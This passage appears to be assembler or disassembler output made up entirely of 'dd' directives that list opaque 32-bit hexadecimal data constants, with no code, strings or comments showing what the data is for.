7E75AB6Fh dd 5AFA5Bh, 7BF7FEEBh, 0B2389C0Ch, 11DF3D00h, 1473F06Bh dd 449227h, 0E0684A19h, 6A437CDBh, 8B9FDC02h, 0C03257D3h dd 4CC4E44Ah, 7E73DEA8h, 0FC0502A1h, 557EDA87h, 0E3619480h dd 57906C29h, 94B4CA00h, 0FF13C59Fh, 5BD000A7h, 51186827h dd 6D07033Bh, 2B3C2E7h, 4FDBB160h, 0FE0500A9h, 145AB5F0h dd 7B0067F4h, 0D7C27851h, 16D40C8h, 0FADB9D4Dh, 0D322D8ECh dd 7F4900E7h, 83002047h, 9F48FC57h, 1D9BD5Eh, 0F2539CE7h dd 0BF1C0973h, 544581E1h, 6470DF65h, 0EA52D4h, 327AE04Fh dd 682271AAh, 27F82D00h, 659269Fh, 3D287C05h, 0E6010837h dd 439D1AF3h, 76C470A9h, 0D8AF7028h, 0F05822h, 63335E69h dd 0EE8B205Ch, 873C5000h, 9028AD16h, 9E77B5h, 0DA3E7147h dd 942DE107h, 0B4BA7509h, 0ACF808Eh, 3282516h, 0EFC1CD97h dd 64B048B7h, 0D700B451h, 0D0C60A74h, 428992h, 40E92CC4h dd 64D67CEh, 0E6245F00h, 0EC5DC23Ah, 477C00A2h, 0EDB3140Bh dd 0D001BDD3h, 888C5668h, 42E0E494h, 0CF438E2h, 400048CCh dd 48C46A0Eh, 430055C0h, 7DF8BF15h, 7CF624h, 58892A50h dd 3B3DE3F1h, 28534609h, 1BC000F9h, 6901BAh, 4D58AE12h dd 0DDD27EF7h, 8163F600h, 0A3B4B778h, 4EED0031h, 42F1DC6Fh dd 0F609E1A2h, 8041E344h, 4A37DA10h, 9E3A1DB0h, 16460F6Bh dd 0E6C32A4Eh, 1901B6F2h, 0F4387052h, 90FBB91Ch, 373134h dd 0FD78A926h, 0C994D1D9h, 0F5F4C4Ch, 0A0080B06h, 0CC540F24h dd 422E00D8h, 12A66E76h, 0B400F461h, 7AC3F05Ch, 12C4171h dd 5E32ED1Ch, 40E263B8h, 1098FFCh, 0B976FC09h, 98DCA035h dd 68D217h, 0EE5E3A94h, 0F7B3EDBAh, 0C988E300h, 0EF09F9DFh dd 0FEAC0FD3h, 4D1F877Bh, 0D0C0A8F1h, 82034AB2h, 0AA34277Dh dd 55BEF005h, 30BA0798h, 0C08558EAh, 509B41F6h, 0AC547300h dd 1CD9FE8Bh, 0BE4E0099h, 0F27FD6D5h, 0E00B162h, 0D31AAF11h dd 5D2A0Ch, 0EC7A2644h, 0B089031Eh, 0DAFCEE4Ah, 0A03EC801h dd 241FBAE6h, 0E9F66684h, 0BBB03Eh, 5269B5A9h, 1C35033h dd 0B84B07FBh, 40587975h, 0BF6EFEE3h, 6B10CC0Ch, 271190h dd 9C8DB475h, 4AB7152Ch, 0C408EC03h, 0DD35A3C1h, 34C0C684h dd 4DA659Bh, 0CE8D153Ah, 7C4C8056h, 0D32ABA5Bh, 2A22A8C1h dd 25A7380Ch, 91565D0Bh, 0CFADAD80h, 5F1E8DFCh, 16C053D1h dd 29D3A20Bh, 0F87E73h, 66AB46Ch, 7EBDF02Fh, 9DFCA003h dd 0A1ED24F3h, 58F1E3A1h, 0B3C6BC40h, 5A080CB7h, 2120D41Ch dd 43005775h, 0CDC10E2Fh, 0E8C12FCh, 528FAB16h, 668E8160h dd 64061771h, 7AE338E1h, 3EB31CE0h, 26FB409Ch, 0A67776F5h dd 0EF5BBA00h, 99506133h, 28D6006Bh, 0F27E7F13h, 6200F0B3h dd 5C4B1577h, 0EA8CEAD8h, 0EF50088h, 0FD73DEEh, 0E200061Bh dd 6F821FBFh, 0F65F17h, 0E85A7F81h, 0EEF10709h, 0FA56302Eh dd 0A097CF0Fh, 0EBE281A2h, 47D300F9h, 0A8625378h, 1E705BBBh dd 71EDC10Fh, 7C8A20EEh, 0EF8659h, 2A98023h, 9E44957Fh dd 7DF851F2h, 19BBE200h, 0CF11259Fh, 4C60FD16h, 0FEC95h dd 0CDAE3359h, 0AF3EFD1Bh, 0A3E84000h, 32C0626h, 786A00D4h dd 4E334F91h, 0FB00ED7Ch, 8E7F4DCFh, 0BB18C5h, 0D5371DBAh dd 0FC89AC6Dh, 60450A01h, 9E5A4120h, 3A27ECh, 3832C58Bh dd 1A599FCBh, 0A50154FEh, 97C85831h, 98C0859Dh, 0D2A70035h dd 0E353554Dh, 520009E2h, 0A90DD139h, 0C0F808h, 88F095A7h dd 0D9CE89BFh, 0B004F70h, 0E55BAB54h, 5481BFAh, 2FA5615Ah dd 0DED8C85Eh, 786D8700h, 0E8064B4Dh, 64EF0BF3h, 97805B94h dd 0C60B0D9Fh, 41857700h, 0AD147AA8h, 0C9E53817h, 5ECB8A8Fh dd 2FC7F640h, 7DFED512h, 0AE5C7709h, 0B558489Fh, 0AF7E00EFh dd 6509151Fh, 8D53D760h, 3F019D10h, 3B99F514h, 3048C705h dd 0F4067A7Fh, 3A4D4600h, 0F0FBD01Fh, 74F70F28h, 26C057FAh dd 0FCAE02A0h, 0C5CBCCEFh, 161E0D06h, 9CE080h, 35719538h dd 0D93174BBh, 4A6480A8h, 0DACD8F1Eh, 7D37A541h, 0CC2934BAh dd 8423BE00h, 0B5F497A0h, 960CCE50h, 0F7279400h, 0F57C3921h dd 0D2773AACh, 0BC15C380h, 0DE2C0B05h, 9B160E1Dh, 0C0D72040h dd 0C97A8Bh, 60593895h, 0EB07F947h, 47581E26h, 1FC11D3Ch dd 0DC99DFD8h, 198806E2h, 79CF024Fh, 60BA5838h, 4B787458h dd 7F0D0045h, 0DA182C8Ah, 5F034403h, 0EE583BC2h, 64291012h dd 6E7A7A49h, 9D4E6A3Bh, 3D00890Ch, 514863FEh, 648F38C2h dd 8C8625F8h, 0EB051776h, 400F113h, 1A29ED74h, 0AE4003Ch dd 66D3876Eh, 0A300BDCAh, 0DFD4DD73h, 788B41D8h, 0E7D0072Ah dd 2248F0A4h, 77C0E94Fh, 6C01FEA5h, 71BFCB56h, 0AC705B51h dd 8A98009Ch, 15879316h, 7F009A28h, 64853EE6h, 77961FC5h dd 6AD8F374h, 50A10292h, 576928A2h, 0CBC06961h, 0EC6577D1h dd 0F1038404h, 10F21AD7h, 0E4BCD0D8h, 1359EC93h, 0E8AF9F41h dd 0FA382Fh, 859EB7DDh, 3F86B91Fh, 0D6004519h, 0DAE54ABFh dd 9901F7A9h, 6E0B7A56h, 6B308A47h, 926800DDh, 4DFB3201h dd 2D00403Fh, 1EE06FA8h, 757BD1h, 5C1452Fh, 174F27BEh dd 880B6700h, 5AB88FD4h, 0C7B9008Ch, 5C9A46C9h, 42055338h dd 3C693EDBh, 0A18BC180h, 2A80A0AAh, 44A70171h, 0F9FC9266h dd 4D2411Fh, 0CA65D4D1h, 6C6F5701h, 37662D0h, 6D42ECh dd 7CB6D30Ch, 489FD965h, 31526000h, 561501C9h, 2704A0C4h dd 0DEB40049h, 52894348h, 8A7C846Ah, 0A94FE4A0h, 0C36F980Eh dd 241F442Ah, 0B4802EC4h, 0FCAD5Fh, 741A2B0Ch, 0ABFB4006h dd 3D00ED49h, 0E4A80BCh dd 5C422A39h, 0CD231CDDh, 1D017EB4h, 8D5113C3h, 768060D0h dd 9F5A9102h, 607B699Bh, 0C04259C7h, 43CEA49h, 0CD6046FFh dd 0D3A52310h, 0D6751DC0h, 3A1901A1h, 40C68226h, 0F8D7AE84h dd 0BE570A00h, 0E17535EFh, 528300E5h, 5EAFE9E2h, 0AE73E4DFh dd 0A44AB105h, 4568BF1h, 5300B2ACh, 0F6C2C8C9h, 4E303BD6h dd 245B78CBh, 846852E6h, 0DFF85A80h, 80001A74h, 94E23BE5h dd 7F05BBCh, 8A915997h, 2A87801Bh, 4100A528h, 9542EAE6h dd 13AC14Eh, 0CDE58A93h, 80DD5708h, 0BF1B5668h, 718CCC6Bh dd 0F5C1002Dh, 62C41760h, 0A600C0A7h, 714D966Ch, 43259Ch dd 1AE450B9h, 9890E98Bh, 0A6659100h, 0CBE2F8D6h, 36AE1E4Bh dd 0A4BFC074h, 0CC5E5AAh, 73874001h, 5219C6A0h, 70277260h dd 7EAEC72h, 293CCEEBh, 57D250E4h, 890281A8h, 4E7AF031h dd 0B30B60D7h, 0BC290ED8h, 0E964AF22h, 7BAB80C5h, 1105CCE5h dd 8A9F9114h, 8235EF80h, 0BA520E37h, 567DDCh, 0F284735Ah dd 700EF865h, 0DB585BC9h, 0C0A4C2E0h, 1AC1858h, 7A1E9642h dd 248AF537h, 0DA381407h, 0C6B98091h, 473DABA9h, 953407A4h dd 805CD632h, 0EB3E25DCh, 0BFD18C00h, 0A0CE238Dh, 9085F103h dd 0C20A2D6Ah, 286091D0h, 16030CAAh, 33A61FC4h, 39B58043h dd 0A2861C6Bh, 346C24Fh, 4040E548h, 0BE00D671h, 7029931Dh dd 2D9BA75Ah, 7EDC8BB9h, 7AF70500h, 2C6CA53Ch, 24AAA0h dd 4A5733D8h, 150014BAh, 52F49985h, 5469749h, 0CCE901E2h dd 1E8464h, 0E8DA7FC0h, 1039B59Ah, 0CBE0005Fh, 2C5ABD24h dd 0ECC800B0h, 433D2FBAh, 5B009D79h, 0FB8C6CEAh, 0E51DA9h dd 0B70C2978h, 67AC4113h, 0D8876800h, 8CA29A10h, 0BADB0022h dd 0DC5F9BB6h, 0EE09E71h, 0EF26E800h, 74AC9691h, 0DF4503B7h dd 375FBAD7h, 7588DBABh, 0D304C0AFh, 0C772775Ch, 9B1EB080h dd 6BA0009h, 0E0D9036Eh, 0A47F39A6h, 0B03D1274h, 0DF3480CEh dd 0D5BB884Fh, 0B82728BCh, 0A5530004h, 9E248315h, 86000692h dd 0C6FC7EEBh, 59B44BA3h, 610018BCh, 8F2EE7A6h, 833FC22Ah dd 0D328096h, 70788891h, 773507A0h, 30F61308h, 0BE438F11h dd 0D31EBD00h, 8295F388h, 767D3851h, 57383580h, 2FA9DD6Eh dd 0F2003E74h, 8F0FE39h, 603572BAh, 0D3634831h, 7900F48Ch dd 28EE5CBEh, 646E3h, 0BBBDB302h, 26E64A82h, 7E95780Fh dd 9D62E0A2h, 4F3D6F7h, 73E1EE93h, 36648163h, 0E9D0FBDEh dd 9E503E99h, 70718A64h, 34AB0E00h, 4E722188h, 0E178009Dh dd 86D0A8Fh, 100698Bh, 0F77F46F9h, 29E6B81h, 0D3F2FF37h dd 78402E5Dh, 8B75A0CAh, 0AB93680Eh, 0CB08408Ah, 54E6Fh dd 1B910FC1h, 0F4BA0461h, 0D9419F00h, 0D3DFF67Ch, 0FB20005Bh dd 704FEC98h, 0A076748Bh, 0DD0903F4h, 20E3ACB1h, 4C01FC4h dd 8D41005Dh, 7654FEC5h, 9700D9A3h, 0FF189E5h, 9931FF4h dd 0ECE225EDh, 0C3A5A0A2h, 0B297BAC0h, 43002FFEh, 5830D2A1h dd 0BE1100Ch, 68279867h, 0EE65E003h, 0F0CF11D8h, 56E79300h dd 5E090A05h, 448F013Dh, 90C7FC9Eh, 0AA5AF040h, 63651900h dd 0F0D1E5EDh, 0FE6A001Dh, 9B5E022Ch, 7072E460h, 87BF2F03h dd 0E0622238h, 0C011B366h, 0FF48C728h, 7CE840BEh, 0F1DB6D1Eh dd 86F3A900h, 1D5609A8h, 0D8661D91h, 3D98310Ch, 68C6E830h dd 0FCF10B71h, 0ED600AFFh, 802C6987h, 0DC3037B0h, 9518BD1Ah dd 0C588E92Bh, 0DB653CCCh, 4810A80Eh, 42F90220h, 9C903662h dd 0EA0311EEh, 1F31C0ABh, 0A9D1005Eh, 0A0D74D48h, 0EA745149h dd 0FE4B6900h, 0CADE95A2h, 7407999h, 0E75E22C5h, 0E475A26Bh dd 0A6050480h, 5690FDEAh, 0B572AD00h, 0C6BE616Eh, 0C71C00B2h dd 75D8146Ch, 7100C524h, 0E3D529CFh, 174D1039h, 91BAA7h dd 0F30CD6A5h, 3C5CA81Ch, 0E91A0C94h, 13D530C7h, 28DE2Bh dd 4CC2D1BDh, 4500EF4Fh, 0DB76881Ch, 9B0AFAh, 0E664E4A7h dd 0FF2BF036h, 0EEEBCB0Bh, 0C8D08607h, 0FBEF0048h, 48FCD09h dd 9300793Eh, 7DE547BAh, 0DED93Bh, 4D899ACBh, 16D5050Fh dd 75B3AE00h, 48A8E8B9h, 3ED97DFEh, 6883A667h, 0C65718B2h dd 8E7F583Ch, 605CA2C8h, 72351AB3h, 1815E0B4h, 40B8CB27h dd 81006FD2h, 0D9555F40h, 654D99h, 6623B9D1h, 9C389B5Ah dd 8FA02900h, 80D606FAh, 3FAF001Ch, 538443D2h, 6E0EC796h dd 207A9149h, 51406C6Dh, 0C5DC00B4h, 0CEA01E14h, 6578E699h dd 100CDFE0h, 181CF0C8h, 0F1C2018Dh, 8F308575h, 0B4B5F4FBh dd 88441000h, 79DF5442h, 142F00BFh, 4D16B3CEh, 7492D6A8h dd 0E63C4600h, 237C139h, 3F2900C9h, 0F8EB43CCh, 9860D7F2h dd 385F52B8h, 12BE5C96h, 0C5CE9D0Ch, 3B00CB41h, 0EE91080Ch dd 9A6204h, 0AE641AF7h, 3AB73412h, 23A480h, 31FEBFE0h dd 0F9D0B415h, 40033772h, 0D692F352h, 84AC00C9h, 859B9796h dd 14302C0Ch, 72D241C3h, 2F4C0059h, 3884CD20h, 1100B6FCh dd 0CFC05D3Fh, 5B55D336h, 9D320380h, 38002579h, 5C2D1875h dd 0AD73BC0h, 0ACBBB907h, 0FF8200D8h, 2FD1E1D9h, 3BC843Ah dd 7A30B4B0h, 95D48823h, 8672004Fh, 4ABA26E3h, 0EE003629h dd 6BB9CB12h, 36E2F98h, 0ECC00AF6h, 89909EADh, 37E40D5Eh dd 1151F77Ah, 226B6094h, 6A1DDFE2h, 0C7D4763Eh, 2AE2009Ch dd 0AA5F1232h, 709200B2h, 34EB4EE5h, 7849038Eh, 2DA800A4h dd 16219A7Bh, 0DD31FA2h, 25F60043h, 9D279CEBh, 2C76F00h dd 14AEDACDh, 824207C4h, 0B01DD53Eh, 0FE648DC6h, 0EE0089FCh dd 4401CA4Ah, 4FD92Fh, 0B5FA1E50h, 2AF70B4Eh, 0A8004890h dd 0A4CCA737h, 626D6A02h, 1EBE60C1h, 0C5A6F480h, 8003E17Ah dd 7729DD22h, 0F5A3C061h, 0F92C1876h, 3EE3D055h, 971B8D15h dd 82AB00C0h, 428B98FAh, 94A91C0Ah, 0D560EA3h, 5AEF3BC7h dd 80FC9D80h, 0AB0F6E60h, 0E5A007B9h, 53012EDDh, 0C886113Dh dd 0D4FCFA98h, 0B8D21EF7h, 0C38C1CEBh, 0ECDB78A8h, 9D420788h dd 1997E81Dh, 0C482BE42h, 1DA46067h, 0D035006Dh, 24337F3Ch dd 620092DDh, 0B744A590h, 7C517A8h, 19128D31h, 0CEC0801Dh dd 63C6378h, 83A100CFh, 60F1ABC1h, 6C5C043Fh, 8078715Bh dd 0CBB3CF01h, 4D578B02h, 601CEB14h, 715AFCh, 4C1DF4B0h dd 0C8D36BE9h, 9FE6B706h, 3EEC35Fh, 0F882317Bh, 0F1F81841h dd 43002264h, 8D2FBEAAh, 0EA6DA901h, 0B2C1001Eh, 0F9D1D45Eh dd 64000563h, 53C4201Ah, 0A3F98h, 0C79ECA3h, 3B945E4Bh dd 7305D200h, 36F64EC3h, 0C5800027h, 0EA22749Dh, 50003988h dd 5BEB5ABBh, 73BD18h, 0A86679D0h, 0E37C2984h, 0F19BC100h dd 819D990Bh, 0E0B01F17h, 4EDEC03Eh, 0B9ED9F33h, 655E4A14h dd 0AC3200ACh, 2A8983D8h, 0B82007Eh, 0F9851170h, 0F5386B69h dd 514880E1h, 6C40C531h, 424B3A2Bh, 68003338h, 782E2805h dd 77ECD9F3h, 82E18102h, 60C91DE7h, 45D470h, 4852FA3Dh dd 9DBC195Ah, 0E2A76A00h, 95EFDA9Bh, 0E98EAD2h, 275CFBBEh dd 0E00457E7h, 7526992Ah, 85381B7Ah, 0BB3D80BAh, 3851BDC9h dd 54C41FF0h, 53C10005h, 813B135Ah, 0CBDFA80Eh, 2ACF10h dd 8F950A88h, 13403FFDh, 0D8774E04h, 0FB25C2A5h, 22592840h dd 0F2DA4818h, 0B549F4h, 2D5388B0h, 0C8091358h, 719A5500h dd 0EF5E5CBCh, 0E1DD003Ch, 0FC1ED454h, 7001E0B3h, 1299B96h dd 2F60FF4Fh, 32911DCCh, 0C1F807F3h, 0E35D00E5h, 4A006A95h dd 72B2FFF9h, 0E03ABDh dd 2B25DDC2h, 830FD401h, 42791B01h, 0EE7E704Ah, 6C7CFCCh dd 0F75ADF4Ch, 0E7E8B0FDh, 0C3EAC800h, 81B5D8F6h, 206D24B1h dd 0A004021Ah, 0F6C1A9A6h, 5BD024FDh, 0F7642C16h, 7C9D2200h dd 0F557637h, 500FFE2Ah, 0BC00220Bh, 0FC887760h, 130BDDB0h dd 8212E12Bh, 408DC002h, 0BD9072h, 40CA76B1h, 0FC9DCE18h dd 0E00937Ch, 22D10A62h, 783A83h, 5BC05572h, 8F9A88A7h dd 0E9D7A00h, 0A4F2EB8Eh, 0F87200BCh, 34701A8Ch, 0FC3CA6B0h dd 2BC58078h, 18434B64h, 38157F84h, 0F1AED4EDh, 7338007Fh dd 3E6D14A3h, 0F2323A00h, 0A07FBF6h, 0A07700D9h, 8B2AC761h dd 0F015790h, 933D3640h, 16F82E12h, 274D5CB9h, 325B1E00h dd 0ECE9C703h, 0B7108A00h, 9B9486C4h, 0A214003Ah, 95357F28h dd 0FE00B3E2h, 8E134F49h, 8BE336h, 0D64BE96Ah, 9A8DF506h dd 688F5C01h, 2447887Eh, 0BA3D8h, 22914397h, 0CD40949Ch dd 0E559DE1Eh, 0B429BC80h, 0E64063Eh, 0D727B23Ah, 0E6D054C0h dd 0F6F09883h, 0A004C70h, 0F0FEC319h, 3ADABFDh, 0C109347Bh dd 0D2D807D6h, 6B00F7B1h, 0CA8C20CFh, 429564h, 16868FBDh dd 67E4A822h, 6B4C5218h, 0C15D968h, 1E094DB0h, 8BB01D11h dd 10C004FCh, 0E18804Ah, 0EFDC000Fh, 2744E499h, 350E286Ah dd 8177B322h, 8F6C5DA7h, 0C5D72882h, 2093B550h, 0D1D9C0C7h dd 52076FE1h, 3676FF53h, 0D0D5FD40h, 285060C2h, 0FCF5E71Bh dd 6E0E99A0h, 0C0E938E8h, 0B528068Dh, 820C2816h, 0B8D329A6h dd 12F70F51h, 2C803D22h, 0F6A333ACh, 0BD2B6200h, 384051Bh dd 0F11500B2h, 5D0E348Ah, 66001C57h, 0EAED5567h, 1438FAFh dd 18B7EF51h, 0D8CE5E1Ah, 0C2008B21h, 0A5DDEB78h, 1DFEC7D9h dd 401AA1BDh, 5EC395C0h, 0CD1C975Fh, 100952DDh, 1666004Eh dd 1B242h, 0FE5D2E25h, 0C5A930CAh, 43A68900h, 0FCC42C6Ch dd 0AD553C8Bh, 0CEC7110Fh, 5F646A01h, 3B7040F8h, 7100E88Bh dd 5609D88Dh, 0E80E1098h, 4E21C01Ah, 869FEBF3h, 0A849FD02h dd 41242044h, 2730AD42h, 4E60070Eh, 9F841B50h, 0CF691E80h dd 0FE2817FCh, 647CB42Ch, 50450B18h, 6A37918h, 30C47A8h dd 0D2A12129h, 56BC6018h, 5D2A11C0h, 0E8D752A7h, 0D12919B0h dd 242E0845h, 541F9758h, 67807CA7h, 91C9192h, 516106CFh dd 980C1DB1h, 0AC376C07h, 0F9DD17E9h, 0EB0C30CAh, 0F08D0834h dd 801D7C48h, 11EBF45Bh, 6E005758h, 0B5094831h, 24B2D7EAh dd 3168C6D8h, 4E3960h, 1C2A48Bh, 0B8D4A64Dh, 0F49E5E6Ah dd 5900513Eh, 326CD2E9h, 0AA60DCh, 7EF570B0h, 0D7B87107h dd 1ADA4500h, 43444006h, 89A700C4h, 23DDBB28h, 0FA099031h dd 0FB0FBB9h, 26000DCh, 702A6AC2h, 7BFC5818h, 2DBAEC00h dd 0CBFA80B7h, 21B3A102h, 40E75AB0h, 7A52E20Bh, 830B0060h dd 0F53316E8h, 0A11F82B6h, 22008185h, 0E2C0A72Ch, 2969628Ah dd 0EE23296Ch, 611DE476h, 94B58408h, 0FE182890h, 2FDA299Ah dd 8B441488h, 4B4840ACh, 0FA47F0AAh, 1CFF0041h, 76FD9328h dd 0F93E972Ah, 649600DAh, 98145F55h, 13491830h, 32A4099Eh dd 0FF2D4F07h, 0D0E04E25h, 1595E2h, 0C392C451h, 944F1CFAh dd 0A1DF7C18h, 0F85A619h, 0E01F4B40h, 6503FEE0h, 0AC0EA7A5h dd 80F05A75h, 0A2EDA8BBh, 70420083h, 12DAE386h, 927624FFh dd 0BC21693Fh, 0CFC406AAh, 1D30AF43h, 4378EBB3h, 0E4567EF0h dd 0DB6C08A0h, 0B609F600h, 672C26ACh, 0B3750005h, 348F068Ch dd 1500BEADh, 9A3357D0h, 262369h, 9B544ED2h, 1839B993h dd 52222107h, 0C6A0EB9Ch, 8F4B51h, 1B5717B3h, 2061507Ch dd 0C459CE03h, 880CE9F3h, 0AFB4EC9h, 0E89DAA15h, 0EE6800F8h dd 0F53EF1DCh, 444BAE1Fh, 0C6F30DC0h, 2C36F01h, 2C1CA396h dd 3F4036CFh, 0E207D6FFh, 0F85D6594h, 0C45EF2D0h, 0BFB70CF6h dd 3F116115h, 0E6884207h, 840DC5Ch, 0BECA8Ah, 837176F8h dd 7E30144Eh, 0CD078E00h, 67B4219Fh, 0C09B0053h, 4F24D53Ch dd 0FB000368h, 6ABAE895h, 3E66DF5Ah, 56BC26ADh, 2A8F3C00h dd 15122BEh, 0A1EC3100h, 3E7C8CC6h, 4DE8C8h, 0E4FA62CAh dd 4749A98Eh, 1E0DB100h, 8818F80h, 65010083h, 0BE3E82FAh dd 4002396h, 0D3EC4032h, 72EE980h, 204255E7h, 0F9F00AEh dd 30FFA1Ch, 804B08F9h, 4C35706Dh, 2EDB005Ch, 0CB142817h dd 13035172h, 44E5429Ah, 0FE35C0C7h, 6F1600F4h, 1A03199Bh dd 0D0FFF002h, 0B62EB5DEh, 9924A0C1h, 47E7BD00h, 45FDDCh dd 0D7A9AA17h, 42057D93h, 0A700CEB0h, 9F5E15B6h, 24B1014Eh dd 17D4E60Bh, 0CA980763h, 0C9AF402Bh, 0EF00B73Bh, 2622BCE5h dd 9905D0h, 0D7B9079Bh, 0CEB8C5DDh, 3DA29406h, 3486E3h dd 439B7AC8h, 0C29879DEh, 622674Ch, 0BA62D7CCh, 76EE09h dd 81D2FCE5h, 9A087BDEh, 5E48C8B0h, 0C5007119h, 0FC6B430Fh dd 1D973037h, 404720B7h, 9172D59Dh, 5A0787D6h, 31E1107h dd 80B34082h, 3A683BA4h, 0A5F71FBEh, 0A228C0ADh, 0ECA9849h dd 758DC100h, 7964334Bh, 35D80016h, 0E5741E19h, 8900EE81h dd 8B410A38h, 83C1F9h, 20252234h, 5A3A19B7h, 8045B007h dd 4C3E909h, 53FAA015h, 94BD05F9h, 0C1DDA8h, 5751CD8Ch dd 0A500197Ch, 0B148173Ch, 11AC5E0h, 0F8EC3726h, 0E1381FD2h dd 0EA67F493h, 58F01490h, 0DEE0D718h, 90A6B11h, 6C945A04h dd 5F302A80h, 0B9009E79h, 0A8FD505Bh, 0A0C1A318h, 57B1B5h dd 0C3219A2Fh, 0F1482658h, 0EAF4C00h, 7E8333B3h, 0B5283C74h dd 0D9623C00h, 1E2FBE4Ah, 0D02ECC12h, 0A4296500h, 0FEF559BFh dd 13C530F9h, 0EE42652h, 6FA89A0Eh, 4D9CA18Dh, 0ED30C001h dd 0F4F60E4Eh, 9D60D965h, 4682B443h, 9C97A700h, 847E6726h dd 0E9B039Fh, 0FC606A4h, 0AC70BB8h, 28A8A760h, 0CF25ABh dd 0C8226C04h, 0AA94B67Dh, 424F62Ah, 0F5DB4800h, 0FADC4D3Bh dd 29D214B0h, 2800A62Fh, 0B46FA1C0h, 0D3C5569h, 6075802Ah dd 0E30AC99h, 0DF7345h, 5CF49CCh, 399F6F56h, 0C20964B8h dd 80D0FF61h, 0B44B2A6Dh, 0E27E006Eh, 0D840313Bh, 724DC34Ah dd 0ADF70220h, 60E10662h, 0CCC0804h, 0E05BD98Dh, 1D010194h dd 0E4CE35A0h, 0DC40DF96h, 4EA486h, 5EFEF541h, 0BFF2E008h dd 303F8C00h, 73F64594h, 5AC6000Eh, 899941B6h, 0B807553Eh dd 0B7EE3AF1h, 403178C7h, 5080C87Ch, 4CDE2279h, 0EF3B580Ah dd 0AA2000F6h, 8E62ADFh, 0C65000BAh, 3FB3313h, 7C0167EAh dd 71E7BB98h, 1020276Ch, 8B290012h, 80DF3862h, 9E380C43h dd 57950160h, 0AA8F81C1h, 1398F7FCh, 52FA44h, 7F8C9BA0h dd 49007EBDh, 0C36274B2h, 0E54BD4h, 0BEDF2C25h, 0DCA91261h dd 0D611FF1Eh, 9700ABD2h, 0E44FFA31h, 886B0055h, 0AF7A1F8Ch dd 1001CB3Eh, 9570C6Eh, 94209E33h, 52C719AAh, 402D5024h dd 0CCC88C3h, 424ACA00h, 0A4D65037h, 0DF41243Bh, 0B44600E4h dd 24F40C6h, 74648300h, 3A7C9737h, 5FEA14h, 33BADB5Dh dd 1360CB19h, 89C8430Fh, 6884C2A4h, 158E2F6h, 0E341FAE6h dd 43C9F8h, 0D65F2C67h, 1BACAFE0h, 4D909EB8h, 2100237Bh dd 781704ECh, 7CC22Eh, 0A829C6D9h, 61569CCAh, 0D8F42700h dd 0D59453Eh, 0E27C0169h, 0BEEF2FBAh, 0D4D4D181h, 3F587742h dd 8AFA047Ch, 10C39FC6h, 2B11C894h, 0F9707E7h, 0D029FCA9h dd 0DD1E03BCh, 0FFD6C700h, 0ED80CDECh, 3E700071h, 0CCB1D00Ah dd 7467BD17h, 8AB0283Eh dd 0E4B359F8h, 43A71B77h, 489061F5h, 0A100ED8Ch, 0DA557DA2h dd 141981AEh, 0D80D855Eh, 0F3778400h, 3B1AD8A5h, 0FB024300h dd 8174687Bh, 63CB1ED0h, 0C54403Ch, 8B7C5C9Ch, 0D223891Eh dd 7D7F0BC0h, 2B4E3Fh, 0EABBA00Fh, 91B3B35h, 700F57Dh dd 3FD5858Bh, 2F24EF9h, 7219F8A3h, 84E0C382h, 0CE00F4E8h dd 7D8B301Bh, 445CDCh, 1FEB8856h, 9E01D7ABh, 0CAFA5B00h dd 0CC61D689h, 53B40077h, 1A4F75B8h, 0D043656h, 60CE3705h dd 0A4A082BFh, 2F712840h, 706C5B00h, 756AC236h, 871E001Ch dd 64B210A7h, 0B100177Bh, 0A91FFA61h, 302F9501h, 250903A8h dd 442D9C3Fh, 0D161E009h, 0ED822C05h, 406C1F48h, 0CF290F5Dh dd 7A7830A4h, 317874F4h, 0D5D87B01h, 9D0DAB2Ah, 903DF8D0h dd 9F140060h, 11E99577h, 0FA03D6AFh, 0F57E61A2h, 0F7D5C9E1h dd 596820h, 79AE9533h, 0C4AB4224h, 7E16B279h, 78006FCAh dd 464B743Fh, 2FA90C5Ch, 2110391Ch, 5D80C504h, 6B003877h dd 0E44ECC5Eh, 1772C606h, 1F180F65h, 1FD75D49h, 0D1DAC04Ch dd 0E87CEA4Fh, 5FA5500h, 2B193AC5h, 91DB50A7h, 0AC181E63h dd 6ED70028h, 0DDA57772h, 0B34BD0EBh, 0CCCD426h, 5400EF10h dd 82B97DEEh, 8926E32Eh, 850E90E0h, 0C7960E42h, 0C1C0B5F5h dd 0E84508h, 63906813h, 8BC3299Ch, 643F90A0h, 0C2549213h dd 0F8773840h, 0E14C39h, 0FB8AB98Dh, 6CB792B5h, 5D9A5207h dd 27E0E8EFh, 4F96BAh, 0BD8CC1F8h, 360D61B7h, 55C60F00h dd 0F49715FFh, 3781002Bh, 0CEE1724Ch, 0B400D610h, 0A20FFEE0h dd 90619F9Dh, 2A0C001Dh, 5967B5C2h, 0D003A75Ah, 0C3C1E2DBh dd 78AF809h, 0EB907AEDh, 0CB2A080h, 13B3D832h, 0AED1271Dh dd 0ACD72D02h, 142868BFh, 29BC0E3Eh, 7142A89Eh, 480A90Ch dd 0AF0E18F4h, 0C7F9D312h, 0CA9BAC45h, 0EDD46480h, 0E3070143h dd 90F5B57Ch, 20BF61B6h, 0D90004E8h, 5F328FFAh, 348959h dd 0E4CF6511h, 229F4ECDh, 0BB4F3707h, 74E0069Bh, 903A1EB8h dd 63360FEFh, 18E079C3h, 4305A139h, 1DB96D00h, 0CF6A813Dh dd 68A900C8h, 8A60FAEAh, 0A8003874h, 0CC3F2A16h, 0A9BDD55h dd 0D3E5947Dh, 20C71680h, 0ECDECF08h, 1C44A300h, 7DBCA8B0h dd 4A22008Dh, 298BCAF8h, 8777C3A0h, 3D605Ch, 0BB045E4Bh dd 3A4D33F4h, 8181E7DEh, 87BF3F03h, 2A5D3063h, 85C75200h dd 0F1993ABDh, 2E90A5h, 224328Dh, 0C08FABE9h, 0AAFBA800h dd 46E5A7E3h, 543E0B30h, 0DE803B10h, 0D7DBC660h, 0CEA9FD00h dd 0E4AE62E7h, 16510037h, 6C52DE06h, 4C01B109h, 0BFCE0E83h dd 42F4894Dh, 0F5553AA5h, 68F6E700h, 0E322ECF3h, 0D92C2F00h dd 7E48FA46h, 0C38D0161h, 56EFDAC9h, 0D6E08B06h, 9BE8FA2h dd 74F0369h, 455E8874h, 0E2391F43h, 0FBD981F3h, 0C0D0DC19h dd 6D005DA0h, 3AA317A6h, 3F700BFEh, 68067FFh, 5B91D8Bh dd 8C90B75Ch, 7934130Fh, 0E001EE99h, 5B786C56h, 39C41E11h dd 0B7ECCBh, 791E0640h, 6A0003DFh, 902B860Eh, 0F151C4h dd 24605033h, 0EF4E3B69h, 37E03E00h, 0EEDA4F9Fh, 2CEB0007h dd 0F240EDBAh, 5E757B08h, 